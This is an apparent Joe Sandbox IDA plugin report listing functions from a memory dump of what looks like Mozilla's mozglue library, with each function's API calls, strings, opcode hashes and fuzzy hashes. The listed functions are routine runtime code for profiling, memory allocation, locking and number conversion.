Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 9c71a1392975c6dfae8972a0bcc8d58b827fff5cfd8833513c9aaca2399b7714
Instruction ID: 93b59acdde5216a60d4f10057fe2e557b10d7efc1c757566065d20869a3c7795
Opcode Fuzzy Hash: 9c71a1392975c6dfae8972a0bcc8d58b827fff5cfd8833513c9aaca2399b7714
Instruction Fuzzy Hash: 8521B6317012299BDF04CF66D884BEA7379AF85708F501928D90DA7B40DB35A409CFEC

Function 6C64CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64CDA4

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

Part of subcall function 6C64D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C64CDBA,00100000,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64D158
Part of subcall function 6C64D130: InitializeConditionVariable.KERNEL32(00000098,?,6C64CDBA,00100000,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64CDC4

Part of subcall function 6C647480: ReleaseSRWLockExclusive.KERNEL32(?,6C641385,?,?,?,?,6C641385,?), ref: 6C6474EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64CECC

Part of subcall function 6C60CA10: mozalloc_abort.MOZGLUE(?), ref: 6C60CAA2

Part of subcall function 6C63CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C64CEEA,?,?,?,?,00000000,?,6C63DA31,00100000,?,?,00000000), ref: 6C63CB57
Part of subcall function 6C63CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C63CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C64CEEA,?,?), ref: 6C63CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64D058

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ee7579894da43cf9eeb90959b6623b772520dd4e75d3b4d285d33a960f34ef8
Instruction ID: 95ccfe17cd3929744b5c0b61dc9097c81dd786afe3c6e8cb3604fe23882bc151
Opcode Fuzzy Hash: 2ee7579894da43cf9eeb90959b6623b772520dd4e75d3b4d285d33a960f34ef8
Instruction Fuzzy Hash: F6D17E71A04B469FD748CF28C580B99F7E1BF89308F01862DD8598B712EB31E9A5CBC5

Function 6C601720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6017B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6018EE
free.MOZGLUE(?), ref: 6C601911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60194C

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 5508bf70572a70688cc8c65177d18098db5ac647652386345b10282861b3afee
Instruction ID: 0b3ea75ba372244b3fad19a88d4ded35d87e85cdc4eaf7b784ca6fbdff16a4c1
Opcode Fuzzy Hash: 5508bf70572a70688cc8c65177d18098db5ac647652386345b10282861b3afee
Instruction Fuzzy Hash: 0381BE70B102059FDB08CF68D9849EEBBB5FF89318F04462CE811AB754D730E949CBA6

Function 6C615C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C615D40
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67
__aulldiv.LIBCMT ref: 6C615DB4
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C615DED

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 570c4e7bae43729b59b25c2d7f7ecf8bfe2fd270eca2ad277f00e867cbdb8e08
Instruction ID: 8f2e9d396109a85c0f3f3e8bfa1d3e5aee4f4687604380c757f626cd5365bec2
Opcode Fuzzy Hash: 570c4e7bae43729b59b25c2d7f7ecf8bfe2fd270eca2ad277f00e867cbdb8e08
Instruction Fuzzy Hash: 39515F71E041298FDF09CF6DC895AAEFBF1FB85304F194A19D811A7B50C7306945CBA9

Function 6C5FCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5FCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5FCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5FCF4E

Strings

0, xrefs: 6C5FCF30

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 217eedc9f4bf77684e042ee49bde7aac7b872ce6707e8217a18e78b038b6aa2d
Instruction ID: f6d83d0ebd0cfff47b9a03cf182e77d9d6a9d45228ee6bea904bdc9937f3feef
Opcode Fuzzy Hash: 217eedc9f4bf77684e042ee49bde7aac7b872ce6707e8217a18e78b038b6aa2d
Instruction Fuzzy Hash: 4A511271A002168FCB15CF18C890A9AFBA5EF99300F1985A9D9595F751D331BD06CBE0

Function 6C6577D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6577FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C657829

Part of subcall function 6C62CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5F31A7), ref: 6C62CC45
Part of subcall function 6C62CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5F31A7), ref: 6C62CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C65789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6578CF

Part of subcall function 6C5F4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5F4E5A
Part of subcall function 6C5F4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5F4E97

Part of subcall function 6C5F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C633EBD,6C633EBD,00000000), ref: 6C5F42A9

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: eeafedfc97916006a68b17224a10b0a88ca3bf3d564e839e59a58bf1c6a4d5a9
Instruction ID: 8a6dc0ef3cee6eb4efe726f8ecc0089a0ef248e730e64b023ba57ce2919b6b18
Opcode Fuzzy Hash: eeafedfc97916006a68b17224a10b0a88ca3bf3d564e839e59a58bf1c6a4d5a9
Instruction Fuzzy Hash: D541CD71914B069FD300DF29C88056AFBF4FFCA214F604A2EE4A987640DB30D95ACBD6

Function 6C636470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200), ref: 6C63649B

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,00000200), ref: 6C6364A9

Part of subcall function 6C62FA80: GetCurrentThreadId.KERNEL32 ref: 6C62FA8D
Part of subcall function 6C62FA80: AcquireSRWLockExclusive.KERNEL32(6C67F448,?,6C62FA1F,?,?,6C605407), ref: 6C62FA99

ReleaseSRWLockExclusive.KERNEL32 ref: 6C63653F
free.MOZGLUE(?), ref: 6C63655A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: b4066da119322cdafbdd808c24f6646fa7de49b61be98fa059e7042ada99f573
Instruction ID: 6d63a715a4b0a18f9834a7a7e1326f4c8fcc37f44fe77a8fcc350c9f7205e66f
Opcode Fuzzy Hash: b4066da119322cdafbdd808c24f6646fa7de49b61be98fa059e7042ada99f573
Instruction Fuzzy Hash: 6C3190B5A04315AFD704CF15D884A9FBBE4FF89314F10882EE85A97740DB34E919CB9A

Function 6C62FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?), ref: 6C62FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?,?), ref: 6C62FFF5
free.MOZGLUE(?,?,?,?,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?), ref: 6C63001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?,?), ref: 6C63002A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 2499f692f672f45ad74d580f1adbc02340eccfff6d036e664b4d5937063e98d5
Instruction ID: d6468c02c52d0fc3989581185c9ab1a1b11a0183fbac8912cf3c3d790626d39a
Opcode Fuzzy Hash: 2499f692f672f45ad74d580f1adbc02340eccfff6d036e664b4d5937063e98d5
Instruction Fuzzy Hash: 7E2106B2E002215BC7189E789C848AFB7BAEB853247250338E525E7780EB719D0186DA

Function 6C60B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C60B4F5
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60B502
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60B542
free.MOZGLUE(?), ref: 6C60B578

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d02fddd821e10e0d252a6be5d9d322ba1e780ecb2394e11df1dff90150ac6408
Instruction ID: 095720ad95ab930626194cf277a4066a9c86aadb1d26f4a9baa9f6891843685c
Opcode Fuzzy Hash: d02fddd821e10e0d252a6be5d9d322ba1e780ecb2394e11df1dff90150ac6408
Instruction Fuzzy Hash: FF11E130A04B51C7D3178F2AC5447A5B3B0FFD6318F109B4AE84963A02EBB0B1D58BAD

Function 6C633DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5FF20E,?), ref: 6C633DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5FF20E,00000000,?), ref: 6C633DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C633E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C633E0E

Part of subcall function 6C62CC00: GetCurrentProcess.KERNEL32(?,?,6C5F31A7), ref: 6C62CC0D
Part of subcall function 6C62CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5F31A7), ref: 6C62CC16

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: a0b9ba8602571abcbe24a51dc04af77728d0be90074dbf3d8bbce58b4dd2addd
Instruction ID: edf3b4cf258d153878da459380e8cff0542ab6783994dd642fc1f5abae8afc73
Opcode Fuzzy Hash: a0b9ba8602571abcbe24a51dc04af77728d0be90074dbf3d8bbce58b4dd2addd
Instruction Fuzzy Hash: CAF05EB16002187BEB05AB55DC85DAB376CDB86624F040420FD0957740D639B9158AFF

Function 6C642050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C64201B,?,?,?,?,?,?,?,6C641F8F,?,?), ref: 6C642064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64208E
free.MOZGLUE(?,?,?,00000000,?,6C64201B,?,?,?,?,?,?,?,6C641F8F,?,?), ref: 6C6420A3

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: db9dbdd9c1f7ea1525b24af34eda23e8a3f7192c6c73b5c17c4935bed2fd4c95
Instruction ID: ef9956c5e5fe4947df79ff37cd0b357ad836f020c1ae65d56ec1443f716e3d5f
Opcode Fuzzy Hash: db9dbdd9c1f7ea1525b24af34eda23e8a3f7192c6c73b5c17c4935bed2fd4c95
Instruction Fuzzy Hash: 63F0B471104610DBD7118F17D88875BBBF8EFC6365F10451AE50687711C771A806CBAD

Function 6C6485B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6485D3

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C648725

Strings

map/set<T> too long, xrefs: 6C648720

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: fc2814dba19a6ace5f0c41e8134fe6258560d30bce6d23e24e24e8aa40387c87
Instruction ID: efb289a773ddb3045f267e2288c542c1b4e45aecc6d195a3a5672628783c3c39
Opcode Fuzzy Hash: fc2814dba19a6ace5f0c41e8134fe6258560d30bce6d23e24e24e8aa40387c87
Instruction Fuzzy Hash: 1E5143746006418FD741CF18C194A9ABBF1BF4A318F18C29AD8599BB62C375EC85CFDA

Function 6C5FBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5FBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5FBE8F

Strings

0, xrefs: 6C5FBE5B

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3d22e93eee1722e5d9a485f9c5925c105a127e81bb033fe2440c36fc684ea009
Instruction ID: 90322e0196f1620212f4b71b9fd9cc95a9fd02c12627d351eb4232ae41131028
Opcode Fuzzy Hash: 3d22e93eee1722e5d9a485f9c5925c105a127e81bb033fe2440c36fc684ea009
Instruction Fuzzy Hash: 1E41B271908745CFC305EF29C881A9BB7F4AF8A348F008A1DF99597611D730D94A8F92

Function 6C633CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C633D19
mozalloc_abort.MOZGLUE(?), ref: 6C633D6C

Strings

d, xrefs: 6C633D58

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 314ab959197f7719a43079914129071714268c1b3e0e17708b395f637ce40e06
Instruction ID: 03b0fb3fc22c812d460c81e0486a95f5edc683c779c149bcbeac8c3d8f5bbcf4
Opcode Fuzzy Hash: 314ab959197f7719a43079914129071714268c1b3e0e17708b395f637ce40e06
Instruction Fuzzy Hash: 15110831E046989BDB068F6AC8544EDB7B5EF86318F44B628DC4997601EB30A5C9C758

Function 6C604730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6044B2,6C67E21C,6C67F7F8), ref: 6C60473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C60474A

Strings

GetNtLoaderAPI, xrefs: 6C604744

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 2dfd432c2c31fadb0f5ac0bd87b345cc957f8d54d949c9a54ae7f14d0207d74c
Instruction ID: 0251860e133c8cff801b7e5fa603ab64dacd565e9a992c98bcb0d873b09282dc
Opcode Fuzzy Hash: 2dfd432c2c31fadb0f5ac0bd87b345cc957f8d54d949c9a54ae7f14d0207d74c
Instruction Fuzzy Hash: DF018C753062249FDF199F668888A697BB9EB8B311F140869EA05D7300DB70D8018FBA

Function 6C656DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C656E22
__Init_thread_footer.LIBCMT ref: 6C656E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C656E1D

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: a2d2093f8ab4a3e02e54a2ea5178750cc375d4da9e92eab97db76b0f34568fdc
Instruction ID: 1202d4fb06182539dcaf529e1a4e116aec731dd303cac1ec87195060fb609e8e
Opcode Fuzzy Hash: a2d2093f8ab4a3e02e54a2ea5178750cc375d4da9e92eab97db76b0f34568fdc
Instruction Fuzzy Hash: 73F0243430E240CBDB168B79CCA4EC133725B03329F540965C44546BA1DB21E527CEBF

Function 6C609E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C609EEF

Strings

Infinity, xrefs: 6C609EB7
NaN, xrefs: 6C609EC1

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

